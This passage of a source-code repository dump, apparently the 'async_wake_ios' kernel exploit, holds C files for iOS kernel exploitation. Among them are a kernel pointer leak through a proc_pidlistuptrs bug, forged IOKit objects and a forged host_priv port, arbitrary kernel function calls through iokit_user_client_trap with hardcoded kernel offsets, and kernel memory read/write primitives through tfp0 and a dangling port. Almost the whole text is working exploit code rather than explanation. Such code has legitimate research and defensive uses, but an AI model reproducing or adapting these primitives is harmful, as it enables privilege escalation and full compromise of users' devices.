MACH_PORT_RIGHT_RECEIVE, &q); 124 | if (err != KERN_SUCCESS) { 125 | printf(" [-] failed to allocate port\n"); 126 | exit(EXIT_FAILURE); 127 | } 128 | 129 | mach_port_t* ports = malloc(sizeof(mach_port_t) * count); 130 | for (int i = 0; i < count; i++) { 131 | ports[i] = target_port; 132 | } 133 | 134 | struct ool_msg* msg = calloc(1, sizeof(struct ool_msg)); 135 | 136 | msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 137 | msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); 138 | msg->hdr.msgh_remote_port = q; 139 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 140 | msg->hdr.msgh_id = 0x41414141; 141 | 142 | msg->body.msgh_descriptor_count = 1; 143 | 144 | msg->ool_ports.address = ports; 145 | msg->ool_ports.count = count; 146 | msg->ool_ports.deallocate = 0; 147 | msg->ool_ports.disposition = disposition; 148 | msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 149 | msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; 150 | 151 | err = mach_msg(&msg->hdr, 152 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 153 | (mach_msg_size_t)sizeof(struct ool_msg), 154 | 0, 155 | MACH_PORT_NULL, 156 | MACH_MSG_TIMEOUT_NONE, 157 | MACH_PORT_NULL); 158 | 159 | if (err != KERN_SUCCESS) { 160 | printf(" [-] failed to send message: %s\n", mach_error_string(err)); 161 | exit(EXIT_FAILURE); 162 | } 163 | 164 | return q; 165 | } 166 | 167 | static int uint64_t_compare(const void* a, const void* b) { 168 | uint64_t a_val = (*(uint64_t*)a); 169 | uint64_t b_val = (*(uint64_t*)b); 170 | if (a_val < b_val) { 171 | return -1; 172 | } 173 | if (a_val == b_val) { 174 | return 0; 175 | } 176 | return 1; 177 | } 178 | 179 | uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) { 180 | prepare_kqueue(); 181 | 182 | int n_guesses = 100; 183 | uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t)); 184 | int valid_guesses = 0; 185 | 186 | for (int i = 1; i < n_guesses+1; i++) { 187 | mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition); 188 | mach_port_destroy(mach_task_self(), q); 189 | uint64_t leaked = try_leak(i-1); 190 | //printf("leaked %016llx\n", leaked); 191 | 192 | // a valid guess is one which looks a bit like a kernel heap pointer 193 | // without the upper byte: 194 | if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) { 195 | guesses[valid_guesses++] = leaked | 0xff00000000000000; 196 | } 197 | } 198 | 199 | if (valid_guesses == 0) { 200 | printf(" [-] couldn't leak any kernel pointers\n"); 201 | exit(EXIT_FAILURE); 202 | } 203 | 204 | // return the most frequent guess 205 | qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare); 206 | 207 | uint64_t best_guess = guesses[0]; 208 | int best_guess_count = 1; 209 | 210 | uint64_t current_guess = guesses[0]; 211 | int current_guess_count = 1; 212 | for (int i = 1; i < valid_guesses; i++) { 213 | if (guesses[i] == guesses[i-1]) { 214 | current_guess_count++; 215 | if (current_guess_count > best_guess_count) { 216 | best_guess = current_guess; 217 | best_guess_count = current_guess_count; 218 | } 219 | } else { 220 | current_guess = guesses[i]; 221 | current_guess_count = 1; 222 | } 223 | } 224 | 225 | //printf("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses); 226 | 227 | free(guesses); 228 | 229 | return best_guess; 230 | } 231 | 232 | uint64_t find_port_via_kmem_read(mach_port_name_t port) { 233 | uint64_t task_port_addr = task_self_addr(); 234 | 235 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 236 | 237 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 238 | 239 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 240 | 241 | uint32_t port_index = port >> 8; 242 | const int sizeof_ipc_entry_t = 0x18; 243 | 244 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); 245 | return port_addr; 246 | } 247 | 248 | uint64_t find_port_address(mach_port_t port, int disposition) { 249 | if (have_kmem_read()) { 250 | return find_port_via_kmem_read(port); 251 | } 252 | return find_port_via_proc_pidlistuptrs_bug(port, disposition); 253 | } 254 | -------------------------------------------------------------------------------- /async_wake_ios/find_port.h: -------------------------------------------------------------------------------- 1 | #ifndef find_port_h 2 | #define find_port_h 3 | 4 | #include 5 | 6 | uint64_t find_port_address(mach_port_t port, int disposition); 7 | 8 | #endif /* find_port_h */ 9 | -------------------------------------------------------------------------------- /async_wake_ios/kcall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "kcall.h" 8 | #include "kmem.h" 9 | #include "find_port.h" 10 | #include "kutils.h" 11 | #include "symbols.h" 12 | #include "early_kalloc.h" 13 | 14 | 15 | 16 | extern uint64_t 17 | iokit_user_client_trap( 18 | mach_port_t connect, 19 | unsigned int index, 20 | uintptr_t p1, 21 | uintptr_t p2, 22 | uintptr_t p3, 23 | uintptr_t p4, 24 | uintptr_t p5, 25 | uintptr_t p6 ); 26 | 27 | #if 0 28 | // OSSerializer::Serialize method 29 | // lets you pass two uint64_t arguments 30 | // no return value 31 | 32 | // a simple IOKit mig method 33 | extern void IOIteratorReset(mach_port_t port); 34 | 35 | struct fake_iokit_obj { 36 | uint64_t vtable; 37 | uint64_t refcount; // vtable +0x00 38 | uint64_t arg0; // vtable +0x08 39 | uint64_t arg1; // vtable +0x10 40 | uint64_t fptr; // vtable +0x18 41 | uint64_t retain; // vtable +0x20 42 | uint64_t release; // vtable +0x28 43 | uint64_t ign; // vtable +0x30 44 | uint64_t get_meta_class; // vtable +0x38 45 | }; 46 | 47 | // call fptr in the context of the current thread passing arg0 and arg1 48 | // uses the serializer gadget 49 | void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1) { 50 | // allocate some memory to hold a fake iokit object: 51 | uint64_t obj_kaddr = kmem_alloc(sizeof(struct fake_iokit_obj)+0x800); 52 | 53 | // fill in the fields: 54 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, vtable), obj_kaddr+0x08); // point this to the next field 55 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, refcount), 0x2017); 56 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, arg0), arg0); 57 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, arg1), arg1); 58 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, fptr), fptr); 59 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, retain), ksym(KSYMBOL_RET)); 60 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, release), ksym(KSYMBOL_OSSERIALIZER_SERIALIZE)); 61 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, ign), 0); 62 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class), ksym(KSYMBOL_OSARRAY_GET_META_CLASS)); 63 | for (int i = 1; i < 0xff; i++) { 64 | wk64(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class) + (i*8), 0x1010101010101000+(i*4)); 65 | } 66 | 67 | // allocate a port 68 | mach_port_t port = MACH_PORT_NULL; 69 | kern_return_t err; 70 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 71 | if (err != KERN_SUCCESS) { 72 | printf("failed to allocate port\n"); 73 | return; 74 | } 75 | 76 | // get a send right 77 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 78 | 79 | // locate the port 80 | uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND); 81 | 82 | // change the type of the port 83 | #define IKOT_IOKIT_OBJECT 30 84 | #define IO_ACTIVE 0x80000000 85 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_OBJECT); 86 | 87 | // cache the current space: 88 | uint64_t original_space = rk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 89 | 90 | // change the space of the port 91 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 92 | 93 | // set the kobject 94 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr); 95 | 96 | // call an iokit method 97 | IOIteratorReset(port); 98 | 99 | // clear the kobject 100 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0); 101 | 102 | // reset the space 103 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space); 104 | 105 | // reset the type 106 | #define IKOT_NONE 0 107 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE); 108 | 109 | // release the port 110 | mach_port_destroy(mach_task_self(), port); 111 | 112 | // free the fake object 113 | kmem_free(obj_kaddr, sizeof(struct fake_iokit_obj)+0x800); 114 | } 115 | 116 | void test_kcall() { 117 | uint64_t test_buf = kmem_alloc(0x20); 118 | wk64(test_buf, 0x4141414141414141); 119 | wk64(test_buf+8, 0); 120 | kcall(ksym(KSYMBOL_UUID_COPY), test_buf+8, test_buf); 121 | uint64_t read_val = rk64(test_buf+8); 122 | printf("read_val: %llx\n", read_val); 123 | kmem_free(test_buf, 0x20); 124 | } 125 | #endif 126 | 127 | /* 128 | __TEXT_EXEC:__text:FFFFFFF0073EB130 _csblob_get_cdhash ; DATA XREF: com.apple.driver.AppleMobileFileIntegrity:__got:AppleMobileFileIntegrity_GOT__csblob_get_cdhasho 129 | __TEXT_EXEC:__text:FFFFFFF0073EB130 ; com.apple.security.sandbox:__got:sandbox_GOT__csblob_get_cdhasho 130 | __TEXT_EXEC:__text:FFFFFFF0073EB130 ADD X0, X0, #0x40 131 | __TEXT_EXEC:__text:FFFFFFF0073EB134 RET 132 | */ 133 | 134 | mach_port_t arbitrary_call_port = MACH_PORT_NULL; 135 | uint64_t obj_kaddr = 0; 136 | 137 | // the iokit_user_client_trap method. 138 | // this lets you pass up to 7 uint64_t arguments 139 | // the return value will be truncated to 32-bits 140 | // see arm_set_mach_syscall_ret for why: 141 | // static void 142 | // arm_set_mach_syscall_ret(struct arm_saved_state *state, int retval) 143 | // { 144 | // if (is_saved_state32(state)) { 145 | // saved_state32(state)->r[0] = retval; 146 | // } else { 147 | // saved_state64(state)->x[0] = retval; 148 | // } 149 | // } 150 | // that compiles to: 151 | // STR W20, [X19,#8] <-- 32-bit store 152 | 153 | #include "kutils.h" 154 | 155 | uint64_t kcall(uint64_t fptr, uint32_t argc, ...) { 156 | uint64_t args[7] = {0}; 157 | va_list ap; 158 | va_start(ap, argc); 159 | 160 | if (argc > 7) { 161 | printf("too many arguments to kcall\n"); 162 | return 0; 163 | } 164 | 165 | for (int i = 0; i < argc; i++){ 166 | args[i] = va_arg(ap, uint64_t); 167 | } 168 | 169 | va_end(ap); 170 | 171 | if (arbitrary_call_port == MACH_PORT_NULL) { 172 | // build the object: 173 | // allocate some memory to hold a fake iokit object: 174 | obj_kaddr = early_kalloc(0x1000); 175 | printf("kcall object allocated via early_kalloc at %llx\n", obj_kaddr); 176 | 177 | // fill in the fields: 178 | wk64(obj_kaddr + 0, obj_kaddr+0x800); // vtable pointer 179 | 180 | // IOExternalTrap 181 | wk64(obj_kaddr + 0x50, 0); // the function pointer is actually a pointer-to-member-method, so needs a 0 here too 182 | // see this old bug where I discuss pointer-to-member-methods: 183 | // https://bugs.chromium.org/p/project-zero/issues/detail?id=20 184 | 185 | wk32(obj_kaddr + 0x9c, 0x1234); // __ipc 186 | 187 | uint64_t slide = find_kernel_base() - 0xFFFFFFF007004000; 188 | 189 | // vtable: 190 | wk64(obj_kaddr + 0x800 + 0x20, slide+0xFFFFFFF0070C873C); // vtable::retain 191 | wk64(obj_kaddr + 0x800 + 0x28, slide+0xFFFFFFF0070C873C); // vtable::release 192 | wk64(obj_kaddr + 0x800 + 0x38, slide+0xFFFFFFF007533CF8); // vtable::getMetaClass 193 | wk64(obj_kaddr + 0x800 + 0x5b8, slide+0xFFFFFFF0073B71E4); // vtable::getExternalTrapForIndex 194 | wk64(obj_kaddr + 0x800 + 0x5c0, slide+0xFFFFFFF0075354A0); 195 | 196 | // allocate a port 197 | kern_return_t err; 198 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &arbitrary_call_port); 199 | if (err != KERN_SUCCESS) { 200 | printf("failed to allocate port\n"); 201 | return 0; 202 | } 203 | 204 | // get a send right 205 | mach_port_insert_right(mach_task_self(), arbitrary_call_port, arbitrary_call_port, MACH_MSG_TYPE_MAKE_SEND); 206 | 207 | // locate the port 208 | uint64_t port_addr = find_port_address(arbitrary_call_port, MACH_MSG_TYPE_COPY_SEND); 209 | 210 | // change the type of the port 211 | #define IKOT_IOKIT_CONNECT 29 212 | #define IO_ACTIVE 0x80000000 213 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_CONNECT); 214 | 215 | // cache the current space: 216 | //uint64_t original_space = rk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 217 | 218 | // change the space of the port 219 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 220 | 221 | // set the kobject 222 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr); 223 | } 224 | 225 | // put arg0 and the function pointer in the right place 226 | wk64(obj_kaddr + 0x40, args[0]); 227 | wk64(obj_kaddr + 0x48, fptr); 228 | 229 | // call the external trap: 230 | uint64_t return_val = iokit_user_client_trap(arbitrary_call_port, 0, 231 | args[1], 232 | args[2], 233 | args[3], 234 | args[4], 235 | args[5], 236 | args[6]); 237 | 238 | printf("return val %llx\n", return_val); 239 | 240 | #if 0 241 | // clear the kobject 242 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0); 243 | 244 | // reset the space 245 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space); 246 | 247 | // reset the type 248 | #define IKOT_NONE 0 249 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE); 250 | 251 | // release the port 252 | mach_port_destroy(mach_task_self(), port); 253 | #endif 254 | 255 | return return_val; 256 | } 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | -------------------------------------------------------------------------------- /async_wake_ios/kcall.h: -------------------------------------------------------------------------------- 1 | #ifndef kcall_h 2 | #define kcall_h 3 | 4 | void kprintstr(char* msg); 5 | void test_kcall(void); 6 | //void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1); 7 | uint64_t kcall(uint64_t fptr, uint32_t argc, ...); 8 | #endif 9 | -------------------------------------------------------------------------------- /async_wake_ios/kdbg.h: -------------------------------------------------------------------------------- 1 | #ifndef kdbg_h 2 | #define kdbg_h 3 | 4 | void test_kernel_bp(void); 5 | uint64_t pin_current_thread(void); 6 | void test_kdbg(void); 7 | void test_fp(void); 8 | 9 | #endif 10 | -------------------------------------------------------------------------------- /async_wake_ios/kmem.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include "kmem.h" 8 | #include "kutils.h" 9 | 10 | /***** mach_vm.h *****/ 11 | kern_return_t mach_vm_read( 12 | vm_map_t target_task, 13 | mach_vm_address_t address, 14 | mach_vm_size_t size, 15 | vm_offset_t *data, 16 | mach_msg_type_number_t *dataCnt); 17 | 18 | kern_return_t mach_vm_write( 19 | vm_map_t target_task, 20 | mach_vm_address_t address, 21 | vm_offset_t data, 22 | mach_msg_type_number_t dataCnt); 23 | 24 | kern_return_t mach_vm_read_overwrite( 25 | vm_map_t target_task, 26 | mach_vm_address_t address, 27 | mach_vm_size_t size, 28 | mach_vm_address_t data, 29 | mach_vm_size_t *outsize); 30 | 31 | kern_return_t mach_vm_allocate( 32 | vm_map_t target, 33 | mach_vm_address_t *address, 34 | mach_vm_size_t size, 35 | int flags); 36 | 37 | kern_return_t mach_vm_deallocate ( 38 | vm_map_t target, 39 | mach_vm_address_t address, 40 | mach_vm_size_t size); 41 | 42 | kern_return_t mach_vm_protect ( 43 | vm_map_t target_task, 44 | mach_vm_address_t address, 45 | mach_vm_size_t size, 46 | boolean_t set_maximum, 47 | vm_prot_t new_protection); 48 | 49 | // the exploit bootstraps the full kernel memory read/write with a fake 50 | // task which just allows reading via the bsd_info->pid trick 51 | // this first port is kmem_read_port 52 | mach_port_t kmem_read_port = MACH_PORT_NULL; 53 | void prepare_rk_via_kmem_read_port(mach_port_t port) { 54 | kmem_read_port = port; 55 | } 56 | 57 | mach_port_t tfp0 = MACH_PORT_NULL; 58 | void prepare_rwk_via_tfp0(mach_port_t port) { 59 | tfp0 = port; 60 | } 61 | 62 | int have_kmem_read() { 63 | return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL); 64 | } 65 | 66 | int have_kmem_write() { 67 | return (tfp0 != MACH_PORT_NULL); 68 | } 69 | 70 | uint32_t rk32_via_kmem_read_port(uint64_t kaddr) { 71 | kern_return_t err; 72 | if (kmem_read_port == MACH_PORT_NULL) { 73 | printf("kmem_read_port not set, have you called prepare_rk?\n"); 74 | sleep(10); 75 | exit(EXIT_FAILURE); 76 | } 77 | 78 | mach_port_context_t context = (mach_port_context_t)kaddr - 0x10; 79 | err = mach_port_set_context(mach_task_self(), kmem_read_port, context); 80 | if (err != KERN_SUCCESS) { 81 | printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err)); 82 | sleep(10); 83 | exit(EXIT_FAILURE); 84 | } 85 | 86 | // now do the read: 87 | uint32_t val = 0; 88 | err = pid_for_task(kmem_read_port, (int*)&val); 89 | if (err != KERN_SUCCESS) { 90 | printf("error calling pid_for_task %x %s", err, mach_error_string(err)); 91 | sleep(10); 92 | exit(EXIT_FAILURE); 93 | } 94 | 95 | return val; 96 | } 97 | 98 | uint32_t rk32_via_tfp0(uint64_t kaddr) { 99 | kern_return_t err; 100 | uint32_t val = 0; 101 | mach_vm_size_t outsize = 0; 102 | 103 | err = mach_vm_read_overwrite(tfp0, 104 | (mach_vm_address_t)kaddr, 105 | (mach_vm_size_t)sizeof(uint32_t), 106 | (mach_vm_address_t)&val, 107 | &outsize); 108 | if (err != KERN_SUCCESS){ 109 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0); 110 | sleep(3); 111 | return 0; 112 | } 113 | 114 | if (outsize != sizeof(uint32_t)){ 115 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); 116 | sleep(3); 117 | return 0; 118 | } 119 | return val; 120 | } 121 | 122 | uint32_t rk32(uint64_t kaddr) { 123 | if (tfp0 != MACH_PORT_NULL) { 124 | return rk32_via_tfp0(kaddr); 125 | } 126 | 127 | if (kmem_read_port != MACH_PORT_NULL) { 128 | return rk32_via_kmem_read_port(kaddr); 129 | } 130 | 131 | printf("attempt to read kernel memory but no kernel memory read primitives available\n"); 132 | sleep(3); 133 | 134 | return 0; 135 | } 136 | 137 | uint64_t rk64(uint64_t kaddr) { 138 | uint64_t lower = rk32(kaddr); 139 | uint64_t higher = rk32(kaddr+4); 140 | uint64_t full = ((higher<<32) | lower); 141 | return full; 142 | } 143 | 144 | void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) { 145 | if (tfp0 == MACH_PORT_NULL) { 146 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); 147 | sleep(3); 148 | return; 149 | } 150 | 151 | kern_return_t err; 152 | err = mach_vm_write(tfp0, 153 | (mach_vm_address_t)kaddr, 154 | (vm_offset_t)buffer, 155 | (mach_msg_type_number_t)length); 156 | 157 | if (err != KERN_SUCCESS) { 158 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); 159 | return; 160 | } 161 | } 162 | 163 | void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) { 164 | kern_return_t err; 165 | uint32_t val = 0; 166 | mach_vm_size_t outsize = 0; 167 | err = mach_vm_read_overwrite(tfp0, 168 | (mach_vm_address_t)kaddr, 169 | (mach_vm_size_t)length, 170 | (mach_vm_address_t)buffer, 171 | &outsize); 172 | if (err != KERN_SUCCESS){ 173 | printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0); 174 | sleep(3); 175 | return; 176 | } 177 | 178 | if (outsize != length){ 179 | printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize); 180 | sleep(3); 181 | return; 182 | } 183 | } 184 | 185 | const uint64_t kernel_address_space_base = 0xffff000000000000; 186 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) { 187 | if (dest >= kernel_address_space_base) { 188 | // copy to kernel: 189 | wkbuffer(dest, (void*) src, length); 190 | } else { 191 | // copy from kernel 192 | rkbuffer(src, (void*)dest, length); 193 | } 194 | } 195 | 196 | void wk32(uint64_t kaddr, uint32_t val) { 197 | if (tfp0 == MACH_PORT_NULL) { 198 | printf("attempt to write to kernel memory before any kernel memory write primitives available\n"); 199 | sleep(3); 200 | return; 201 | } 202 | 203 | kern_return_t err; 204 | err = mach_vm_write(tfp0, 205 | (mach_vm_address_t)kaddr, 206 | (vm_offset_t)&val, 207 | (mach_msg_type_number_t)sizeof(uint32_t)); 208 | 209 | if (err != KERN_SUCCESS) { 210 | printf("tfp0 write failed: %s %x\n", mach_error_string(err), err); 211 | return; 212 | } 213 | } 214 | 215 | void wk64(uint64_t kaddr, uint64_t val) { 216 | uint32_t lower = (uint32_t)(val & 0xffffffff); 217 | uint32_t higher = (uint32_t)(val >> 32); 218 | wk32(kaddr, lower); 219 | wk32(kaddr+4, higher); 220 | } 221 | 222 | uint64_t kmem_alloc(uint64_t size) { 223 | if (tfp0 == MACH_PORT_NULL) { 224 | printf("attempt to allocate kernel memory before any kernel memory write primitives available\n"); 225 | sleep(3); 226 | return 0; 227 | } 228 | 229 | kern_return_t err; 230 | mach_vm_address_t addr = 0; 231 | mach_vm_size_t ksize = round_page_kernel(size); 232 | err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE); 233 | if (err != KERN_SUCCESS) { 234 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 235 | sleep(3); 236 | return 0; 237 | } 238 | return addr; 239 | } 240 | 241 | uint64_t kmem_alloc_wired(uint64_t size) { 242 | if (tfp0 == MACH_PORT_NULL) { 243 | printf("attempt to allocate kernel memory before any kernel memory write primitives available\n"); 244 | sleep(3); 245 | return 0; 246 | } 247 | 248 | kern_return_t err; 249 | mach_vm_address_t addr = 0; 250 | mach_vm_size_t ksize = round_page_kernel(size); 251 | 252 | printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size); 253 | 254 | err = mach_vm_allocate(tfp0, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE); 255 | if (err != KERN_SUCCESS) { 256 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 257 | sleep(3); 258 | return 0; 259 | } 260 | 261 | printf("allocated address: %llx\n", addr); 262 | 263 | addr += 0x3fff; 264 | addr &= ~0x3fffull; 265 | 266 | printf("address to wire: %llx\n", addr); 267 | 268 | err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ|VM_PROT_WRITE); 269 | if (err != KERN_SUCCESS) { 270 | printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 271 | sleep(3); 272 | return 0; 273 | } 274 | return addr; 275 | } 276 | 277 | void kmem_free(uint64_t kaddr, uint64_t size) { 278 | return; 279 | if (tfp0 == MACH_PORT_NULL) { 280 | printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n"); 281 | sleep(3); 282 | return; 283 | } 284 | 285 | kern_return_t err; 286 | mach_vm_size_t ksize = round_page_kernel(size); 287 | err = mach_vm_deallocate(tfp0, kaddr, ksize); 288 | if (err != KERN_SUCCESS) { 289 | printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 290 | sleep(3); 291 | return; 292 | } 293 | } 294 | 295 | void kmem_protect(uint64_t kaddr, uint32_t size, int prot) { 296 | if (tfp0 == MACH_PORT_NULL) { 297 | printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n"); 298 | sleep(3); 299 | return; 300 | } 301 | kern_return_t err; 302 | err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot); 303 | if (err != KERN_SUCCESS) { 304 | printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err); 305 | sleep(3); 306 | return; 307 | } 308 | } 309 | -------------------------------------------------------------------------------- /async_wake_ios/kmem.h: -------------------------------------------------------------------------------- 1 | #ifndef kmem_h 2 | #define kmem_h 3 | 4 | #include 5 | 6 | uint32_t rk32(uint64_t kaddr); 7 | uint64_t rk64(uint64_t kaddr); 8 | 9 | void wk32(uint64_t kaddr, uint32_t val); 10 | void wk64(uint64_t kaddr, uint64_t val); 11 | 12 | void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length); 13 | void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length); 14 | 15 | void kmemcpy(uint64_t dest, uint64_t src, uint32_t length); 16 | 17 | void kmem_protect(uint64_t kaddr, uint32_t size, int prot); 18 | 19 | uint64_t kmem_alloc(uint64_t size); 20 | uint64_t kmem_alloc_wired(uint64_t size); 21 | void kmem_free(uint64_t kaddr, uint64_t size); 22 | 23 | void prepare_rk_via_kmem_read_port(mach_port_t port); 24 | void prepare_rwk_via_tfp0(mach_port_t port); 25 | 26 | // query whether kmem read or write is present 27 | int have_kmem_read(void); 28 | int have_kmem_write(void); 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /async_wake_ios/kutils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include "kutils.h" 7 | #include "kmem.h" 8 | #include "find_port.h" 9 | #include "symbols.h" 10 | 11 | uint64_t cached_task_self_addr = 0; 12 | uint64_t task_self_addr() { 13 | if (cached_task_self_addr == 0) { 14 | cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND); 15 | printf("task self: 0x%llx\n", cached_task_self_addr); 16 | } 17 | return cached_task_self_addr; 18 | } 19 | 20 | uint64_t ipc_space_kernel() { 21 | return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 22 | } 23 | 24 | uint64_t current_thread() { 25 | uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND); 26 | return rk64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 27 | } 28 | 29 | uint64_t find_kernel_base() { 30 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); 31 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 32 | 33 | uint64_t base = realhost & ~0xfffULL; 34 | // walk down to find the magic: 35 | for (int i = 0; i < 0x10000; i++) { 36 | if (rk32(base) == 0xfeedfacf) { 37 | return base; 38 | } 39 | base -= 0x1000; 40 | } 41 | return 0; 42 | } 43 | mach_port_t fake_host_priv_port = MACH_PORT_NULL; 44 | 45 | // build a fake host priv port 46 | mach_port_t fake_host_priv() { 47 | if (fake_host_priv_port != MACH_PORT_NULL) { 48 | return fake_host_priv_port; 49 | } 50 | // get the address of realhost: 51 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); 52 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 53 | 54 | // allocate a port 55 | mach_port_t port = MACH_PORT_NULL; 56 | kern_return_t err; 57 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 58 | if (err != KERN_SUCCESS) { 59 | printf("failed to allocate port\n"); 60 | return MACH_PORT_NULL; 61 | } 62 | 63 | // get a send right 64 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 65 | 66 | // locate the port 67 | uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND); 68 | 69 | // change the type of the port 70 | #define IKOT_HOST_PRIV 4 71 | #define IO_ACTIVE 0x80000000 72 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV); 73 | 74 | // change the space of the port 75 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 76 | 77 | // set the kobject 78 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost); 79 | 80 | fake_host_priv_port = port; 81 | 82 | return port; 83 | } 84 | -------------------------------------------------------------------------------- /async_wake_ios/kutils.h: -------------------------------------------------------------------------------- 1 | #ifndef kutils_h 2 | #define kutils_h 3 | 